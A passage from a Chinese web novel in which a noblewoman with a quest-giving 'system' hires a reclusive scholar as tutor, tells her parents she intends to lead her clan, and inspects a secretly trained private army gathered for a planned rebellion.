“昤昤,阿耶本不想跟你说这些,既然你问起了,我也就告诉你吧。”姬父又叹了口气,“近日来姬家处境确实艰难,但我姬家好歹是士族,不过是一时困境,要不了多久便能解了,昤昤你也不必多担忧。陛下么……处置了姬家的一个旁支,近日又寻了朝中几个姬家官员的错处罚了,不过我姬家也不是那么好撼动的,昤昤莫怕。旁的么,阿耶也不与你多说了,你一个女儿家也不必多管,阿耶总归不会让你去受苦的。”
“阿耶这话就错了,什么叫女儿家也不必多管?女儿家又如何?我自小哪儿比那些男儿郎差了?”姬昤嘴翘得都快可以挂油壶了。
“是是是,昤昤自是不差的,只是朝堂中的事有阿耶和阿兄,还有族中的男人们在,昤昤不必担忧。”姬父拍了拍自己的嘴,说道。
姬昤眼珠子转了下,说道:“阿耶,为何我们不退到西、北之地亦或是偏僻的边疆处而是在这国都?那岂不是一举一动都被皇家监视着?”
“姬家怎会怕皇室?”姬父当即就说道,随后软和了些语气,“不过到底是皇家,我们收敛些就是了,昤昤你也莫怕,天子到底是撼动不了姬家,一些动作不痛不痒的,伤不了姬家什么。”
姬昤有些无奈,阿耶是否太自信了?姬家是庞大无法撼动不错,可到底也存在百年了,内部总归是有些问题了,若皇帝发了狠就是要把姬家拉下来,姬家不死也得掉层皮。
“阿耶,我就是担心,姬家主家目前有您坐镇,底下那些人就算有些旁的心思也会收着些,可到底都是生了其他心思的,难免不会生出事端来,更何况那么多旁支,若受了挑拨离间出了事,对咱们又有什么好处?”姬昤缓缓劝道,“就比如大伯一家,还有四叔五叔他们,那几位老长辈,哪个是省油的灯?”
姬昤所说的大伯、四叔五叔都是和她阿耶同父异母的庶出兄弟,她阿耶行三,上面还有个同母哥哥早十几年就让那几个庶出兄弟害死了,她说的“老长辈”们也是些固执迂腐的,只知道家族颜面,不论她那几个叔伯做了多可恶恶心的事都让她阿耶“算了算了都是一家人”给放过了。
用姬昤的话来说,就是群牢布斯的。
姬父陷入长久的沉默之中,许久之后才又抬眸看向姬昤:“昤昤长大了啊……”
“阿耶……”姬昤抓住姬父的胳膊。
“唉……昤昤觉得姬家退出建康才是好的选择吗?”姬父问。
“清理家族,退出建康,徐徐图之。”姬昤说道。
“此事非同小可,你让阿耶多思虑些时日吧。”姬父想了想并没有一口答应。
“嗯,那阿耶慢慢想着,总归不能等到陛下都动手了才做决定。既如此,昤昤先走了。”姬昤说着起身离去。
4. 请先生
“主线任务发布——
请宿主拥有兵力一万人,时限两年,当前人数:500/10000。任务成功奖励卧龙凤雏:诸葛亮、庞统,任务失败撤回卫霍大礼包。”
“主线任务发布——
请宿主拥有一块起兵之地,不限大小,时限两年。任务成功奖励银矿一座,开采年限五十年,任务失败随即生成两名英雄到达敌方阵营。”
“支线任务发布——
请宿主成为姬家家主,时限一年。任务成功奖励五千斤马铃薯,任务失败无惩罚。”
“支线任务发布——
请宿主拉拢至少三名朝堂官员,时限一年。任务成功奖励五千斤番薯,任务失败无惩罚。当前进度:姬瑾,姬瑜。”
系统一连发布了四个任务,姬昤听得一愣一愣的。
其他的她倒是没多在意,脑子里就只记住了“任务失败撤回卫霍大礼包”、“任务失败随机生成两名英雄到达敌方阵营”,那这还得了?
坚决不行!
任务只能成功,不许失败!
“啊!”月栀一头撞在突然停住的姬昤背上,她退后摸了摸鼻子,还先去关心姬昤,“三娘子怎么了?可是忘了什么事?”
姬昤听到声儿转身看去,就瞧见月栀眼泪花花地看着她。
姬昤笑了声,抬手捏了下月栀的鼻子:“没,就是突然想到了些事,走吧,回英兰苑。”
“等等,三娘子。”月栀跑到姬昤跟前,“三娘子许久没去别院了,不去瞧瞧吗?好娘子和秦娘子去了好些时日了,三娘子也不想去瞧瞧吗?”
“嗯……确实也该去瞧瞧了,算来也有七八日了,也不知道她们如何了。”姬昤说着接着吩咐道,“既如此,月栀,明日一早去备马车,届时叫上冼英他们一道同去。”
“喏,月栀记下了。”月栀笑嘻嘻地应着。
姬昤想着还要给霍光寻先生,如今建康最有学识的那些先生不是在皇宫教导皇子公主就是在官学教导贵族子弟,亦或是在某些士族的家学中,虽然她姬家的先生也不错,但她想要最好的。
就只剩下归隐的那位先生了——
谢先生,谢渊。
若想请他出山那还是有些难度,她可得好好想要怎么做才行。
当天下午,姬昤以姬家的名义向谢渊发出了邀请。
谢渊虽然归隐,但还在建康,大隐隐于市。只是他在的地方很少被外人知晓,还是姬家有势才能知道。
建康郊外某处院子。
一黑长胡子老者正在菜园内浇地,这时,门外来了个人,还驾着马车。
老者瞧见了,却没理会,只是自顾自地浇地。
来人下了车走到门前敲了敲:“谢先生可在?我乃建康姬家仆从,来此递信。”
老者瞥了眼,没有理会。
姬家仆从也瞧见了老者,心想这应该就是谢渊谢老先生了,于是他继续说:“我家三娘子发现了一天纵奇才,特此来请谢老先生出山,谢老先生可在家?”
谢渊轻笑了声,天纵奇才?这景……不,安朝还有天纵奇才?这姬三娘子可真会说大话。
谢渊背过身去,还是不理。
仆从思索了片刻,又道:“我家三娘子说了,谢先生若是不信,可以先去瞧瞧,若实在觉得当不得天纵奇才再走不迟!我家三娘子似乎还准备了前朝大家袁霈的字画,就是不知道谁能有幸一赏了……”
“袁霈的字画?当真?”谢渊不知何时扔下了手中的东西打开了门抓住了仆从的肩膀,脸还靠得很近,微风带来了丝丝臭气。
仆从吓得一激灵,屏住呼吸,回答道:“当真当真,三娘子有好多呢,可惜不会欣赏,就待有缘人呢。”
“稍等片刻。”谢渊说罢转身快步回到屋子内,不多一会儿背着小包裹就出来了,不等仆从去扶,自个儿就上了马车。
仆从愣了一愣,和院内谢渊的小厮对视了眼,小厮只是无奈叹了口气,似乎习惯了。
这时,谢渊掀开帘子看向仆从:“还不启程?”
仆从连忙上了马车:“这就走这就走。”
他心想,三娘子说的果真没错,说其他的也许没用,但要说前朝大家袁霈,这谢先生定会应邀。
好在这袁霈真迹难得,几乎全在姬家,不然别家也拿出来他们可就请不到谢先生了。
傍晚时分,一辆马车稳稳停在姬府大门外。
谢渊到了。
谢渊背着自己的小包裹就下车了,甚至仆从还没来得及扶。
仆从默默放下自己的手,带着谢渊进入姬府。
“袁霈……姬三娘子在何处?”谢渊转了话语,询问身侧的仆从。
“请先生先在此稍候,小的这就去请三娘子过来。”仆从将谢渊带到前厅,吩咐人备了茶水点心,接着便去寻找姬昤。
谢渊茶也不吃点心也不用,只是抱着自己的包裹等待着,等待着……
姬昤来了。
身边还跟着一个少年。
谢渊一下子站起身,瞧了好几眼,见并无字画的样子又缓缓坐下。
“久仰谢先生大名。”姬昤瞥了眼一旁的茶水点心,然后笑问,“可是姬府的茶水点心不合您的胃口?我这就让人给您换一批。”
谢渊抬手,面色严肃:“不必了,三娘子应当知晓老夫为何而来吧?”
结果呢?东西一点儿没瞧见。莫不是诓他的?
姬昤微笑:“自然。不过在观赏袁霈字画之前,谢先生不如与我这‘天纵奇才’聊聊?”说罢拉过霍光,给他使了个眼色。
霍光瞪大了双眼,什、什么?主公说他是天纵奇才么?
姬昤一惊,他怎么泪眼汪汪地看着自己?这么感动吗?
姬昤不禁摸了摸鼻子,她确实说了大话,早知道不说这么夸张了。
霍光正色,上前一步,恭敬行礼:“小人霍光,拜见谢先生。”
谢渊瞥了两眼,瞧着模样端正的,是不是天纵奇才还难说呢。
“可曾读过什么书?”谢渊问。
霍光摇头:“未曾。”
谢渊一下子看向姬昤,那眼神仿佛在质问她“这就是你说的天纵奇才”?
姬昤默默移开眼神,心虚地摸了摸鼻子。
谢渊哼了一声,刚想起身甩袖离去,姬昤从大大的袖子里掏出了一份卷好的字画,她轻轻一扔,字画滚到了谢渊脚边。
“咦?这是谁落下的字画啊?”姬昤一脸惊奇。
谢渊低头看了眼,拿起打开一看,顿时生气地说道:“姬三娘子怎能如此不珍惜大家画作?!”
姬昤连连致歉,然后道:“是我的不是,谢先生可别生气。这字画应是先生的吧?那我这奇才……”说着推了推霍光,把人推到谢渊跟前。
霍光也是一脸真诚地看着谢渊。
谢渊咳了几声,小心翼翼地卷好了字画,将包裹递了过去。
月栀一直候在一边,见状连忙接过,笑脸盈盈地说道:“奴婢这就去给您安排住处。”
姬昤脸上笑容更甚,霍光也赶紧说道:“学生拜见先生!
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”
“打住!”谢渊把字画往自己袖子里一放,“若你朽木不可雕我也会离去,不必如此着急喊我先生。”
“喏,学生定不负先生期望!”霍光又道。
姬昤微笑:“先生,我院中还有几位英才,不如去聊聊?”
谢渊刚想拒绝,姬昤看向他的袖子,目光直穿,谢渊改口道:“也罢。”
反正来都来了。
“您请!”姬昤侧过身子。
英兰苑。
冼英、杨妙真和卫青正在切磋,卫子夫坐在一旁笑着看着,大有一副岁月静好的模样。
卫子夫先瞧见了姬昤,见身旁还有一陌生人,于是微微屈身:“见过三娘子,不知这位是?”
其他三人停了下来也都说了句“见过三娘子”。
“这位是谢渊谢先生,我给霍光请的先生,乃我朝大儒。”姬昤说道。
几人一听忙道:“见过先生。”
“不必多礼。”谢渊说着看了眼卫青又看向姬昤,“三娘子这院中还住着男子么?”
“他住旁的院子,只是过来与她们二人切磋的。”姬昤解释道。
“切磋?”谢渊闻言看向冼英和杨妙真而言,这可是两位女子。
“他们都是习武之人,就好切磋。”姬昤又道。
“女子习武?倒是少见。”谢渊不禁多看了几眼冼英和杨妙真,怪不得瞧着与一般女子有些许不同,不论是举止还是眼神,都不一样。
冼英和杨妙真也多瞧了两眼谢渊,倒不是个迂腐的。
“冼英。”冼英。
“杨妙真。”杨妙真。
两人介绍了自己的名字。
谢渊淡笑着点了点头又看向卫青:“这位小郎姓甚名谁啊?”
既然他要在姬家暂住一段时日,都是平日里常见的人,自是得知晓名讳。
“小人卫青。”卫青语气温和。
谢渊又看向卫子夫,卫子夫微微一笑:“卫子夫。”
“哦?你俩是一家的?”谢渊。
“是,卫青是我的弟弟。”卫子夫回答。
姬昤见几人氛围不错,让月栀去吩咐人备了茶水点心来。
大家相谈甚欢,谢渊也改变了对姬昤的看法。
他原以为姬昤只是个深闺娘子,受尽荣华富贵,嘴里爱说些大话,没成想身边竟有这些能人异士。
冼英、杨妙真,两位习武的娘子,谈吐举止也不一般,若是女子能为官,她们二人会有不小的作为。
卫青,瞧着年岁不过二十的模样,却有着敏锐的军事、政治思维,若是入仕,不多久便能高升。
霍光,年岁尚小,虽不曾读过书,但脾性不错,认真好学,资质瞧着尚且不错,就看日后如何了。
卫子夫,本以为只是位貌美的女子,聊着却发现脾性瞧着温和,却是个外柔内刚的,还有着敏锐的政治思维,也不简单。
谢渊又多看了几眼姬昤,这三娘子到底想做什么?
姬昤微笑看回去,推了推面前的盘子:“先生请用点心,不必客气。”
谢渊意味深长地说了句:“三娘子好能力啊……”
姬昤依旧微笑,不语。
这大儒还请对了,估摸着是猜到了什么却不说,依旧平常心态与他们闲聊。
大儒不愧是大儒。
与此同时,郊外院内。
小厮循着门的方向眺望着。
主子人呢?以往这时候不也该回来了吗?不会是留宿姬府了吧?那他明日的早膳还做吗?
5. 我要当家主
入夜,姬父派人让姬昤去了书房。
他已经知道姬昤用袁霈字画换来谢渊入住姬府一事。
书房。
“阿耶找我来是为了谢先生的事吧?”姬昤神色淡定。
姬父犹豫了片刻,然后问道:“昤昤为何突然把这谢渊弄到了府上?听下人说是为了给那个叫霍光的孩子授课?”
谢渊虽是大儒,但……当初是因为惹了事才选择归隐,可昤昤今日突然又把人弄到了府中,难道就只是为了那个小郎君?说来也奇怪,昤昤何时有那么多他都未见过的好友?也不知是哪里人士、哪家的。
“是也不是。”姬昤缓缓道,“日后府上只会多更多上课的,霍光只是第一个罢了。”
姬父突然有些疑惑:“昤昤这是何意?”
姬昤盯着姬父的双眼,一字一句清晰地说道:“阿耶,我要当姬家家主。”
姬昤说的是“要”而不是“想”,话里的决心和坚定也让姬父有些措手不及。
“昤昤,你,你……你说什么?”姬父一度怀疑是自己耳朵出了问题听错了。
“阿耶,你没听错,我要当姬家家主,不是玩笑话,是认真的。”姬昤认真的神情也让姬父确定了女儿并不是在开玩笑。
姬父此刻大脑一片混乱,昤昤先是说是否有想法让上面换个人,后又是说要当姬家家主,他的乖乖女儿莫不是被什么邪祟上了身?想到这,姬父有些狐疑地看着姬昤。
姬昤摸了摸自己的脸,有些奇怪,阿耶怎么这么看着她?
“昤昤啊,你可知……你是女子啊?”姬父眉头微皱。
他的意思就是,没有女子当家主的,这也不是女子能当的。
他虽宠爱女儿,有些事却也不能妥协。
“那女儿比起男子又差在哪儿了?”姬昤反问。
姬父一哽,这不是已经说出来了吗?差在不是“男子”,许多事只要不是男子就做不得,这世道不就是如此吗?一直以来皆是如此。
姬父沉默了一会儿,然后说道:“昤昤,还有你大兄二兄,再不济还有旁的几位兄弟,你没法当家主的。”
他说的旁的兄弟是姬家大爷、四爷和五爷的儿子们,他们三人有八个儿子,最大的二十有八,最小的也有十岁了。
姬昤并不在意,她直直地看着姬父,说道:“大兄太过仁慈,二兄喜好玩乐,至于旁系的那几位兄弟……旁系大郎和二郎、十一郎资质平庸,三郎吸食五石散而死,六郎虽聪慧却是妾室所生登不上家主之位,八郎亦是吸食五石散重病不起,十四郎体弱多病,十六郎天生跛脚,阿耶想让偌大的姬家落到他们手中吗?阿耶,只有我姬昤才是家主的最佳人选。”
姬昤话语自信,神态之中写着势在必得。
姬父张了张嘴,一时间却什么也没说出来,他竟不知昤昤是何时有的这种想法,难道是及笄时听到表字“绥英”开始?可他的本意只是希望昤昤这辈子平安顺遂、幸福美好啊!
突然,姬父想到来借住的所谓昤昤的“朋友”,他问:“那那些人就是……是你养的幕僚了?”
姬父心想,或许昤昤的野心不止是“姬家家主”,之前所说的让上面换个人的话语也不是一时兴起……
“昤昤,你,你跟阿耶说实话,你到底要做什么?”姬父率先捂住了心口,问道。
姬昤淡淡一笑:“阿耶心中应该也有想法了,那昤昤就不明说了,怕阿耶觉得大不逆。”
姬父倒吸一口凉气,姬昤赶紧扶住胳膊:“阿耶冷静些,这么想的又不止女儿一个。”
想造反的多了去了呢。
“你还真有这个想法?!”姬父大惊,一时间只觉得头昏眼花,天地都在旋转。
“阿耶!”姬昤惊呼一声,比之父亲的威武身躯,小小的她一把稳住了摇晃的身体。
“阿耶你没事吧?”姬昤又问。
姬父沉默了一会儿,然后道:“常听闻府中下人说你在练武,我本以为你只是一时兴起,没成想你真练成了?怎的你幼时……”话到此处他却停住了,这让他想起昤昤小时候了,那时昤昤看着就比一般的娘子要活泼好动些,嘴里也时常冒出些不是闺阁女儿能说出的话来,原来从那时起昤昤就有这样的想法了。
姬昤并不知道自己阿耶在想什么,若是知道一定大呼冤枉,她明明是去年才有这个想法的!
“阿耶,姬家有死士三千没错吧?”姬昤突然想到其中一个任务是让她拥兵一万,如果她当上姬家家主了,那这三千死士理应也该算进她的任务中,那就是三千五百人了,任务进度越了一大步呢!
“没错,你问这个作何?”姬父扶着椅子坐下,问道。
“那这些死士全听家主吩咐,没错吧?”姬昤又问。
“是。”姬父点头。
“阿耶,若无他事我先回去了?”姬昤这下放心了,一边问脚一边蠢蠢欲动。
“等等。”姬父抬手,“昤昤啊,你可知那谢渊为何会归隐啊?”
姬昤摇头。
“谢渊当年可是是陈郡谢氏年轻一辈最负希望的一个,也是最有望成为家主的,只可惜十三年前不知道到底发生了什么,一夜之间,他的爹娘、叔伯、兄长姐妹共十七人全部惨死,这些人全是谢家的骨干,而罪魁祸首就是谢渊。谢家也因此渐渐没落。”姬父解释道。
姬昤瞪大了双眼,这件事她还真不知道,那时候她才两岁呢。不过到底是发生了什么?谢渊怎么会突然杀死至亲十七人呢?这其中肯定有不为人知的原因,回头旁敲侧击地问问看。
“如此,昤昤还要把这谢渊留在府中吗?”姬父反问。
姬昤回想与谢渊交谈的画面,又想起谢渊的模样,不论哪样她都没看出谢渊像是会一下杀了至亲十七人的人。
“阿耶,这件事给我几日,我好好想想,待有决断之后再告知你。至于旁的,阿耶,我说的要当家主不是玩笑话,阿耶可好好考虑一番,如此,我先走了?我还要去阿母那。”姬昤看着姬父。
姬父点头,摆摆手:“去吧。”
待姬昤离开书房,姬父强撑着的身体还是软了,他目光呆滞,想不通自己娇娇软软本该无忧幸福一生的乖女儿怎会突然想不开要做家主?竟然还有谋逆的心思?
姬家家主是好做的吗?谋逆是好谋的吗?
不是!
就说家主吧,若是好做,当年兄长的死他也不至于轻拿轻放了,他是没法子,他虽是家主,却也违抗不了整个家族。
姬父又想到乖女儿的脸,那坚毅的眼神和神情,或许……
昤昤真的行?
姬父摇了摇头,拍了拍自己的脸。
他在胡想些什么?昤昤是小娘子,没见哪家是让娘子当家的,更何况他还有瑾儿和瑜儿……
“大兄太过仁慈,二兄喜好玩乐。”
姬父突然又想到这句话。
昤昤没说错,的确如此。
家主之位若是落到他们两个头上,瑾儿太过心善会被姬家吃得死死的,瑜儿喜好玩乐也会被姬家磨灭心性此生无乐。
难道……
真要让昤昤来当家主?
那他那些庶兄弟和姬家的老长辈们那关可不好过。
姬昤刚走进院子里就听见了母亲的笑声,她带着疑惑走得更近了,屋外的婢女行了个礼,接着敲了敲门说“三娘子来了”。
姬母笑脸盈盈地迎了出来,拉过姬昤的手就往里走接着拉着她坐下。
“阿母怎的这般开心?”姬昤不禁问道,却在看见桌上一幅幅男子画像时明白了什么,顿时作委屈状,“阿母这是巴不得女儿早早嫁出去了?女儿才十五,阿母就这般着急了?”
姬母连忙拿起一个画像:“昤昤你看,这是建康裴家的三郎君,比你大上两岁,虽说不是什么大家出身,但胜在样貌英俊、年轻有为,如今十七岁不靠家里就已经当上了六品官,更是陛下身边的红人,而且啊,人家愿意入赘!这多好啊!”
姬母放下手中的画像又拿起另一个:“若是不喜欢这姓裴的,那这个,阿母娘家的侄子,你萧昀表兄,可还记得?比你大三岁,一表人才,又是阿母看着长大的,品行优良。你幼时去萧家时
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总缠着人家带你玩呢!”
姬母又换了个:“这个是琅琊王氏嫡出的六郎君,与你同岁,虽长相一般,但人家三岁能文,六岁能武,十三岁就入朝为官,如今官至五品。你觉得这个如何?若是都不满意,阿母再给你选,定不会委屈了咱们昤昤!”
姬昤只觉得头都要大了。
一个皇帝身边的红人愿意入赘,若是皇帝的眼线呢?她还怎么造反?
一个是从小一起长大的表兄,确实,她小时候喜欢粘着人家一起玩,还不是看他长得好看脾气又好?但那可是表兄!他们喜欢亲上加亲她可不喜欢,她不要生傻子啊!!
一个大家出生的少年英才,听着是挺不错的,家世背景条件又好,可她是要当家主、当皇上的女人!难不成嫁过去只做一个主母?还不一定能当主母呢!
姬昤无奈道:“阿母,女儿还小,不愿嫁人,您就别着急给女儿相看人家了,女儿哪怕十九岁二十岁还不嫁也不着急。”
姬母一听,这可不行!
她道:“你现在不急无事,可以先相看着,若有中意的可以先定亲,待十六七了,亦或者十八九了再嫁也成。你两位兄长一个个都说不急,尤其是你大兄,都弱冠了还不成婚,阿母这是一个孙儿都抱不上,这才着急你的婚事,不然阿母是万万不会催你的。”
姬昤明白了,她如果想要亲近就去骚扰两位兄长,毕竟是当哥哥的,她做妹妹的也不好意思越了去吧?嘻嘻。
“阿母,你也别催我了,我替你去催催两位阿兄如何?”姬昤笑眯眯地看着姬母。
姬母转念一想,这也好,只是……
姬昤见状,便问:“阿母这是想到云珠表姐了?”
姬母叹了口气:“是啊,瑾儿这些年为何一直拒婚我也不是不知道,若不是云珠病逝,她和你大兄也该有个孩子了。”
两人口中的云珠姓萧,是姬母娘家姐姐的女儿,与姬瑾青梅竹马,两人互相欢喜,两家本约定待萧云珠一及笄便成婚,可惜萧云珠突发急病病逝在及笄前三日,至此姬瑾便不愿再谈婚论嫁。
“便不催大兄了,我去催催姬瑜,他也快十八了,该定亲事了吧?阿母放心,我肯定好好劝阿兄!”姬昤着急说道。
抱歉了阿兄,死道友不死贫道,现在只有你能抵挡催婚了!
姬母张了张嘴,甚至没来得及说什么,姬昤扫了眼屋内的下人,让所有人退了出去,等门关上后才小声说道:“阿母,其实女儿有个大胆的想法。”
“什么想法?”姬母也学着女儿小心的样子低下脑袋凑近了问。
姬昤微笑:“我要当姬家家主。”
姬母两眼一翻差点没晕过去,她强撑住身体,满脸不可思议,颤抖着嗓音一边又压低了:“昤昤,你,你说什么?你要当什么?”
姬昤心想,果然,她就知道,这件事不是容易能被接受的,还是阿耶阿母宠爱她,换做旁人,非得烧死她说她疯了。
“阿母,我要当姬家家主,我是认真的,不是开玩笑。”姬昤认真地又说了一遍。
姬母却出乎意料地沉默了,她没有生气,更没有愤怒,只是平淡,甚至最后还笑了。
姬昤吓了一跳,阿母竟然笑了??
“昤昤,你可知这种话当年阿母在萧家也说过?”姬母淡笑着看着姬昤,眼里带着怀念,似乎在透过女儿看过去的自己。
姬昤摇头,有些惊讶,这她还真不知道。
“当年我当着萧家所有人的面说‘我萧芝要当萧家家主’,结果挨了好一顿打,最后在萧家宗祠跪了三天三夜,直到大家听到我说‘知错’才把我放出来,接着我大病了一场,在床上躺了大半个月,之后便再也没说过那种话,阿耶阿母又像从前一样对我温言软语,好像什么都没发生过。”姬母说着说着眼角滑落一滴泪。
“昤昤,也难怪你会说出这样的话,不愧是我萧芝的女儿。好,阿母相信你,努力去做吧,不要怕旁人的目光,阿母永远在你身后。”姬母柔软的手搭在姬昤的肩上,传递着少年时她的梦想。
姬昤双眸湿润,点了点头。
6. 提前恭贺“圣上”
翌日清晨。
姬府大门外,马车已经备好,冼英等人一个个上了马车,除了留在府中上课的霍光。
姬昤在最后。
“早听闻昤妹妹喜好交友,近一年府上来了好些个生人全都住下了,本来只是娘子也无妨,怎的如今还有郎君了?昤妹妹,你也是要嫁人的年岁了,可不能做傻事。我比你早半月出生那也是阿姐,我也只是为了你好,你可别介意。”一个瞧着与姬昤有一两分相像的娘子站在门边上说道,话语中带着若有若无的笑意。
已经上了马车的几人纷纷掀开帘子看去,接着看向一只脚刚准备上车的姬昤。
姬昤扬起嘴角,转身看向那娘子,接着状似思考:“你……是旁系哪位阿姐来着?你们旁系兄弟姐妹太多,我实在记不清。唉,我也是为了你好,下次开口前可先报上自己名号,省的人家还要想上一会儿才知是谁,这位阿姐你说是或不是?”
不是她欠,确实旁系的兄弟姐妹太多了,还活着的叔伯三人共有儿女十七人,这还加上了三个已死的——一位吸食五石散过量而死,两位难产而亡。她平日里也不太关心旁系的事,自然一时间也想不起来这自称“阿姐”的到底是哪家的,大伯家的?四叔家的?还是五叔家的?
那娘子笑容一僵,勉强还撑着笑容说道:“昤妹妹真是说笑了,我是你五叔的女儿,十二娘子姬莲啊,姬家也就我只比你大半月了,前些日子刚刚和陈郡谢氏家的郎君定亲呢,你这是贵人多忘事啊。”
姬昤有了些印象,也想起来了,确实,最近刚定亲的也只有姬莲了,只不过和陈郡谢氏?阿耶不是说谢家渐渐没落了吗?这姬莲是五房嫡女,怎么会和谢家定亲?
“莲姐姐这么说我倒想起来了,对了,若无事我就先走了,我还忙着呢。”姬昤说罢也没多想,转身就要上马车。
姬莲又开口了:“昤妹妹,你也及笄了,该定亲了,你可是姬家嫡女,怎的还总往外跑?这样多不好啊,郎君不喜欢的。”
姬昤回头瞥了眼姬莲:“你也说了,我是姬家嫡女,我干什么都不敢有人有何异议,管好自己吧,莲、姐、姐。”说罢直接进了马车,也不管姬莲如何神色,拢共三两马车,二十个护卫护着就出发了。
姬莲站在原地咬紧了牙关,愣是敢怒不敢言,毕竟还在大门口,来来往往的会有人瞧见的。
姬莲退回府内,侧脸对身边的婢女说道:“找人跟上去瞧瞧他们要去哪儿。”
“喏。”婢女应声。
马车行驶了约半个时辰,终于到了姬昤郊外的别院。
一行人下了马车。
别院瞧着很正常,也听不见里面的声音,外面站了两个年轻的仆从守门。
两个仆从瞧见姬昤的那一瞬就自觉地打开了别院的大门,恭敬地候在两旁。
“三娘子安康。”两仆从说道。
姬昤昂了下头:“我带些‘友人’过来玩,别让外人来扰了我们的兴致。”
这两仆从是她去年救下的差点死掉的乞儿,经过考验后觉得可靠便留在这看门,只要她说带友人来玩他们就会知道她是有正事做,万万不能把闲杂人等放进去。
“喏。”两人应道。
待众人进入院内,吱呀的声音响起,大门关上了。
远远一棵大树后,一个鬼鬼祟祟的男子探着半个脑袋望着。
院内。
别院很大,一行人跟着姬昤弯弯绕绕走了好一会儿才到了地方——
乌压压一群人安静有序地做着一样的动作,可以看出他们都在努力压制自己的呼吸声,各个脑袋上都顶着一头汗水,一头一尾分别站着一女子,正是妇好和秦良玉。
训练的死士们瞧见姬昤等人也不吭声,因为是训练时间,因此一边训练着一边把目光投向前方的妇好。站在尾处的秦良玉一眼看见了姬昤等人,从后面走了过来,妇好随着她的动作也转身看见了大家。
“主公。”两人喊了声。
死士们这才停下一齐喊了声“大人”。
因为他们人多,姬昤不让他们喊主公,人多眼杂的,虽说这别院偏僻,难免会有过路的人,若让人听了去,那真是创业未半而中道崩殂了。
“不必多礼,今日我只是带些你们其他同伴过来瞧瞧都认识一下,不过还有两人,一人名叫霍光,年十四,我让他留在府中,请了先生教学,另一人唤霍去病,此刻或许已到了匈奴的地盘,等日后回来我再带他来与大家相识。”姬昤说着又介绍起了卫子夫和卫青,“这二人是同母姐弟,她叫卫子夫,他叫卫青,对了,卫子夫是霍去病的姨母,卫青是霍去病的舅舅,霍去病是霍光的哥哥,但霍光跟卫氏姐弟并无关系。”
卫子夫和卫青向妇好和秦良玉二人点了下头,算是打招呼了。
二人听着姬昤解释的关系,一瞬间也想明白了这两位两位的都是同母异父的亲人,她们也点了下头算作回礼。
不过她们特别好奇没出现的霍去病,因为主公说他现在人也许在匈奴的地盘,这是去卧底了还是直接杀过去了?有点意思。
“我的意思是想日后这里的男人都由卫青来带,他也是男人,或许能更好地教导那些男人,你们也能更好地把女人们给我教好,我不要废物。”姬昤说道。
“喏,一切听从主公安排。”妇好和秦良玉二人应道,却有心生出一股挑战的意思,看向卫青的眼神也有些不一样了。
卫青迎上二人的眼神,淡淡一笑。
“你们来这儿也有七八日了吧,近来他们表现如何?训练情况可还好?”姬昤又问。
死士们一听一个个绷紧了神经,妇好瞥了眼众人神色,笑了声,然后道:“虽大多资质一般,好在尚且知晓努力,也是感念主公恩德训练不敢懈怠,表现都不错,有我们二人在此,主公放心。”
死士们不约而同松了口气,好在大人没说什么不好的话,不然若是主公不悦,就算没说什么,大人也定会罚他们,加练可太累了。
“那就好,平日里若是缺什么短什么尽管报给管家让她去买,不用担心银子不够。”姬昤说道。
“喏。”两人应道。
姬昤走向死士们,来回转了几圈,大家都很紧张。
“可有表现格外出色者?”姬昤突然问道。
妇好当即喊道:“何小花,陶婉,苗小来,宋春娟,林大柱!”
喊到名字的五人喊了声“喏”就站了出来,接着向前方的姬昤行礼:“见过大人。”
三女两男,瞧着年岁都不大,十来岁的样子。
只是其中有一人让姬昤觉得好奇。
她走到那人面前:“你叫什么名字?”
那人也没想到姬昤会突然跟自己说话,不过不惊不怕,淡定回答:“属下陶婉见过大人。”
“你看着倒是有些像世家娘子。”姬昤说道。
这便是她的好奇。
只见陶婉苦笑一声,缓缓说道:“属下本是
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庐江陶家嫡系四娘子,因……阿耶受一年前宫中‘惠妃巫蛊案’牵连——属下阿耶是惠妃的伯父,陛下因此下旨诛陶家九族,恰巧属下远在外祖家,本也该死的,外祖父和外祖母却将属下送走了,属下一路逃亡而他们却……因属下而死。恰逢大人搭救属下这才活了下来,多谢大人,无以为报,只得将命全部交到大人手里。”
姬昤了然地点了点头,怪不得这陶婉瞧着跟其他娘子有些不一样,像其他人大多都是无家可归亦或者活不下去的难民、乞儿,可这陶婉不论是举止还是气质方面都不一样,原来她没猜错。不过这‘惠妃巫蛊案’一事,唉,也是可怜,后虽查清惠妃冤枉,始作俑者另有他人,可人已死再无他法,更何况陛下金口玉言,又不能说他错了,陛下最终也只是停止了对陶婉的追杀随她去了。
姬昤接着看向妇好和秦良玉二人,问道:“他们几个就是最出色的?训练得如何了?嗯……与你们相比如何?差多少?”
妇好回答:“这五位以何小花为首资质最好,她年纪也是最小的,才十岁。平日里最刻苦的是陶婉,旁人训练她训练,旁人休息她还训练,天资虽不够,但好在勤能补拙。与我们相比……何小花已与属下十岁时相差不多了,其他人还差一半。”
秦良玉接着回答:“何小花比属下十岁时略强,陶婉差属下三成,其余人等相差一半。”
姬昤满意地点了点头,不错,尤其是何小花和陶婉。
“剩下的四百九十五人呢?如何?”姬昤又问。
妇好:“尚可。”
姬昤了然。
她也不奢求所有人都很厉害,能得到妇好“尚可”的答案已经算不错了,更何况不是还出了五个好苗子吗?大家从未习武过,也是到了这约摸一年前才陆陆续续开始训练,能达到如今的结果她很满意。
“如果上战场,你们觉得他们有多少胜算?”姬昤又问,并不避讳死士们,死士们也不惊讶,毕竟他们都知道姬昤养他们是为了什么,虽然一开始觉得姬昤想法大逆不道,但时间一长就习惯了,反正对他们而言安朝不是什么好朝,当今陛下也不是什么好皇帝,他们很乐意跟着姬昤一起造反,败了就一条命,反正没有姬昤他们早死了,赢了那就是从龙之军。
其中无人在意姬昤是想以女子之身造反称帝,因为在意的早就死了。
妇好思考了一瞬,回答:“若是对上前朝繁盛时期之军,胜算有三成;若是对上前朝甩落时期之军,胜算能达六成;若是对上当今安朝之军,胜算最高能达六成。不过属下说的情况还算理想,毕竟他们只练了一年,再给属下两年,属下能让胜算达到九成。”
姬昤惊讶:“能有这么高吗?”
秦良玉笑了笑,补充道:“这也多亏了当今陛下重文轻武,导致无人从军,如今的兵也一个比一个弱,这也给了我们机会。”
姬昤也笑了:“那就好,安朝越弱,我们的机会就越大。”
“那属下提前恭贺……‘圣上’了。”卫子夫笑容温柔,说到“圣上”时特意放低了音量。
姬昤连忙走了过去捂住了卫子夫的嘴巴,一边说“使不得使不得”一边又压制不住嘴角的笑。
其他人都没忍住笑了。
姬昤松开卫子夫的嘴,接着假咳了几声,说道:“卫青,从今日起你就留在这帮我训男兵,我带她们几个就回去了。”
“喏,属下遵命。”卫青。
